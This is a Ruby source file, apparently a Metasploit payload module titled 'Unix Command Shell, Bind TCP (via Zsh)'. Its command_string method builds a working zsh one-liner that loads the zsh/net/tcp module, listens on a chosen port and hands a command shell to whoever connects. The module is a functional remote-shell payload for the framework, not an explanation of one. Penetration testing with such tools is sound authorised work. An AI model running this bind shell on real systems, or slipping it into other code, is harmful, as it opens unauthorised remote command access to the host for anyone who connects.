60 lines
1.6 KiB
Ruby
60 lines
1.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 99
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Bind TCP (via Zsh)',
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'Description' => %q{
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Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
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often available, please be aware it isn't usually installed by default.
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},
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'Author' =>
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[
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'Doug Prostko <dougtko[at]gmail.com>', # Initial payload
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'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections
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],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'zsh',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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register_advanced_options(
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[
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OptString.new('ZSHPath', [true, 'The path to the ZSH executable', 'zsh'])
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]
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)
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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"#{datastore['ZSHPath']} -c 'zmodload zsh/net/tcp && ztcp -l #{datastore['LPORT']} && ztcp -a $REPLY && #{datastore['ZSHPath']} >&$REPLY 2>&$REPLY 0>&$REPLY'"
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end
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end
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